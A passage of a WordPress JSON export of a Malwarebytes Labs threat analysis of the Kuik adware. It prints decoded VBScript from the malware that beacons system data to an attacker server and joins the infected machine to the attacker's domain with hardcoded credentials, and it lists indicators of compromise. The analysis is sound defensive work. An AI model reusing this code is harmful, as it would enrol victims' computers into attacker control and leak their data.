https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2018\/04\/encoded-600x58.png 600w\" sizes=\"auto, (max-width: 748px) 100vw, 748px\" \/><\/p>\n<p>After decoding it (with\u00a0<a href=\"https:\/\/master.ayra.ch\/vbs\/vbs.aspx\" target=\"_blank\" rel=\"noopener\">this decoder<\/a>), we saw this script in clear: <a href=\"https:\/\/gist.github.com\/malwarezone\/77fdbdd430b78783ac006a0b20bb2d22#file-nykjvvxepl-vbs\" target=\"_blank\" rel=\"noopener\">NYkjVVXepl.vbs<\/a>.\u00a0We also saw that it fingerprints the system and beacons to a server:<\/p>\n<pre>Set SystemSet = GetObject(\"winmgmts:\").InstancesOf (\"Win32_OperatingSystem\")   for each System in SystemSet     winVer = System.Caption   next  Function trackEvent(eventName, extraData)    Set tracking = CreateObject(\"MSXML2.XMLHTTP\")    tracking.open \"GET\", \"http:\/\/eventz.win:13463\/trk?event=\" &amp; eventName &amp; \"&amp;computer=\" &amp; UUID &amp; \"&amp;windows-version=\" &amp; winVer &amp; \"&amp;error=\" &amp; err.Number &amp; \";\" &amp; err.Description &amp; \";\" &amp; err.Source &amp; \";\" &amp; extraData &amp; \"&amp;campaign=qavriknzkk&amp;channel=\" &amp; WScript.Arguments.Item(0), False    tracking.send    err.clear  End Function  <\/pre>\n<p>The interesting fragment is about adding the infected computer to a domain:<\/p>\n<pre>SET objNetwork = CREATEOBJECT(\"WScript.Network\")  strComputer = objNetwork.ComputerName  SET objComputer = GetObject(\"winmgmts:\" &amp; \"{impersonationLevel=Impersonate,authenticationLevel=Pkt}!\\\" &amp; strComputer &amp; \"rootcimv2:Win32_ComputerSystem.Name='\" &amp; strComputer &amp; \"'\")  ReturnValue = objComputer.JoinDomainOrWorkGroup(\"kuikdelivery.com\", \"4sdOwt7b7L1vAKR6U7\", \"kuikdelivery.comadministrator\", \"OU=\" &amp; WScript.Arguments.Item(0) &amp; \",DC=kuikdelivery,DC=com\", JOIN_DOMAIN + ACCT_CREATE + DOMAIN_JOIN_IF_JOINED + JOIN_UNSECURE)  If (ReturnValue  0) Or (err.number  0) Then    trackEvent \"join-domain-failed\", ReturnValue    WScript.Quit 1  Else    trackEvent \"join-domain-success\", Null    WScript.Quit 0  End IF  <\/pre>\n<h3>Payloads<\/h3>\n<p>There are a range of payloads being used by this program, but bogus Chrome extensions seem to be a particular favorite. In addition, some coin miners are being served:<\/p>\n<p><a href=\"https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2018\/04\/payloads2.png\" data-rel=\"lightbox-0\" title=\"\"><img loading=\"lazy\" decoding=\"async\" data-attachment-id=\"23419\" data-permalink=\"https:\/\/blog.malwarebytes.com\/threat-analysis\/2018\/05\/kuik-simple-yet-annoying-piece-adware\/attachment\/payloads2\/\" data-orig-file=\"https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2018\/04\/payloads2.png\" data-orig-size=\"1050,626\" data-comments-opened=\"1\" data-image-meta=\"{&quot;aperture&quot;:&quot;0&quot;,&quot;credit&quot;:&quot;&quot;,&quot;camera&quot;:&quot;&quot;,&quot;caption&quot;:&quot;&quot;,&quot;created_timestamp&quot;:&quot;0&quot;,&quot;copyright&quot;:&quot;&quot;,&quot;focal_length&quot;:&quot;0&quot;,&quot;iso&quot;:&quot;0&quot;,&quot;shutter_speed&quot;:&quot;0&quot;,&quot;title&quot;:&quot;&quot;,&quot;orientation&quot;:&quot;0&quot;}\" data-image-title=\"payloads2\" data-image-description=\"\" data-medium-file=\"https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2018\/04\/payloads2-300x179.png\" data-large-file=\"https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2018\/04\/payloads2-600x358.png\" class=\"size-full wp-image-23419 aligncenter\" src=\"https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2018\/04\/payloads2.png\" alt=\"\" width=\"1050\" height=\"626\" srcset=\"https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2018\/04\/payloads2.png 1050w, https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2018\/04\/payloads2-300x179.png 300w, https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2018\/04\/payloads2-600x358.png 600w\" sizes=\"auto, (max-width: 1050px) 100vw, 1050px\" \/><\/a><\/p>\n<h3>Removal<\/h3>\n<p><a href=\"https:\/\/www.malwarebytes.com\/\" target=\"_blank\" rel=\"noopener\">Malwarebytes<\/a>\u00a0users (version 3.x) can remove this threat from their system by running a full scan. The removal includes unjoining the malicious domain controller to restore your machine to its original state.<\/p>\n<h3>Indicators of compromise<\/h3>\n<p>Kuik<\/p>\n<pre>b9323268bf81778329b8316dec8f093fe71104f16921a1c9358f7ba69dd52686  990c019319fc18dca473ac432cdf4c36944b0bce1a447e85ace819300903a79e<\/pre>\n<p>Chrome extensions<\/p>\n<pre>d-and-h[.]com\/fljlngkbcebmlpdlojnndahifaocnipb.crx  d-and-h[.]com\/123.crx  d-and-h[.]com\/jpfhjoeaokamkacafjdjbjllgkfkakca.crx  d-and-h[.]com\/mmemdlochnielijcfpmgiffgkpehgimj.crx  kuikdelivery[.]com\/emhifpfmcmoghejbfcbnknjjpifkmddc.crx  tripan[.]me\/kdobijehckphahlmkohehaciojbpmdbp.crx<\/pre>\n<p>Payloads<\/p>\n<pre>92996D9E7275006AB6E59CF4676ACBB2B4C0E0DF59011347CE207B219CB2B751  33D86ABF26EFCDBD673DA5448C958863F384F4E3E678057D6FAB735968501268  7889CB16DB3922BEEFB7310B832AE0EF60736843F4AD9FB2BFE9D8B05E48BECD  761D62A22AE73307C679B096030BF0EEC93555E13DC820931519183CAA9F1B2A  871AD057247C023F68768724EBF23D00EF842F0B510A3ACE544A8948AE775712<\/pre>\n<p>The post <a rel=\"nofollow\" href=\"https:\/\/blog.malwarebytes.com\/threat-analysis\/2018\/05\/kuik-simple-yet-annoying-piece-adware\/\">Kuik: a simple yet annoying piece of adware<\/a> appeared first on <a rel=\"nofollow\" href=\"https:\/\/blog.malwarebytes.com\">Malwarebytes Labs<\/a>.<\/p>\n<p><a href=\"https:\/\/blog.malwarebytes.com\/threat-analysis\/2018\/05\/kuik-simple-yet-annoying-piece-adware\/\" target=\"bwo\" >https:\/\/blog.malwarebytes.com\/feed\/<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p><strong>Credit to Author: Malwarebytes Labs| Date: Tue, 08 May 2018 16:00:27 +0000<\/strong><\/p>\n<table cellpadding='10'>\n<tr>\n<td valign='top' align='center'><a href='https:\/\/blog.malwarebytes.com\/threat-analysis\/2018\/05\/kuik-simple-yet-annoying-piece-adware\/' title='Kuik: a simple yet annoying piece of adware'><img src='https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2017\/04\/shutterstock_490974958.jpg' border='0'  width='300px'  \/><\/a><\/td>\n<\/tr>\n<tr>\n<td valign='top' align='left'>Kuik adware, which forces affected machines to join a domain controller, is using this unusual technique to push Google Chrome extensions and coin miner applications. In this blog, we&#8217;ll provide technical analysis of the adware and custom removal instructions.<\/p>\n<p>Categories: <\/p>\n<ul class=\"post-categories\">\n<li><a href=\"https:\/\/blog.malwarebytes.com\/category\/threat-analysis\/malware-threat-analysis\/\" rel=\"category tag\">Malware<\/a><\/li>\n<li><a href=\"https:\/\/blog.malwarebytes.com\/category\/threat-analysis\/\" rel=\"category tag\">Threat analysis<\/a><\/li>\n<\/ul>\n<p>Tags: <a href=\"https:\/\/blog.malwarebytes.com\/tag\/adware\/\" rel=\"tag\">adware<\/a><a href=\"https:\/\/blog.malwarebytes.com\/tag\/kuik\/\" rel=\"tag\">kuik<\/a><a href=\"https:\/\/blog.malwarebytes.com\/tag\/kuik-adware\/\" rel=\"tag\">kuik adware<\/a><a href=\"https:\/\/blog.malwarebytes.com\/tag\/removal\/\" rel=\"tag\">removal<\/a><\/p>\n<table width='100%'>\n<tr>\n<td align=right>\n<p><b>(<a href='https:\/\/blog.malwarebytes.com\/threat-analysis\/2018\/05\/kuik-simple-yet-annoying-piece-adware\/' title='Kuik: a simple yet annoying piece of adware'>Read more&#8230;<\/a>)<\/b><\/p>\n<\/td>\n<\/tr>\n<\/table>\n<\/td>\n<\/tr>\n<\/table>\n<p>The post <a rel=\"nofollow\" href=\"https:\/\/blog.malwarebytes.com\/threat-analysis\/2018\/05\/kuik-simple-yet-annoying-piece-adware\/\">Kuik: a simple yet annoying piece of adware<\/a> appeared first on <a rel=\"nofollow\" href=\"https:\/\/blog.malwarebytes.com\">Malwarebytes Labs<\/a>.<\/p>\n","protected":false},"author":4,"featured_media":0,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"colormag_page_container_layout":"default_layout","colormag_page_sidebar_layout":"default_layout","footnotes":""},"categories":[10488,10378],"tags":[10468,18328,18329,3764,18330,10494],"class_list":["post-12229","post","type-post","status-publish","format-standard","hentry","category-malwarebytes","category-security","tag-adware","tag-kuik","tag-kuik-adware","tag-malware","tag-removal","tag-threat-analysis"],"_links":{"self":[{"href":"http:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/posts\/12229","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/users\/4"}],"replies":[{"embeddable":true,"href":"http:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/comments?post=12229"}],"version-history":[{"count":0,"href":"http:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/posts\/12229\/revisions"}],"wp:attachment":[{"href":"http:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/media?parent=12229"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/categories?post=12229"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/tags?post=12229"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}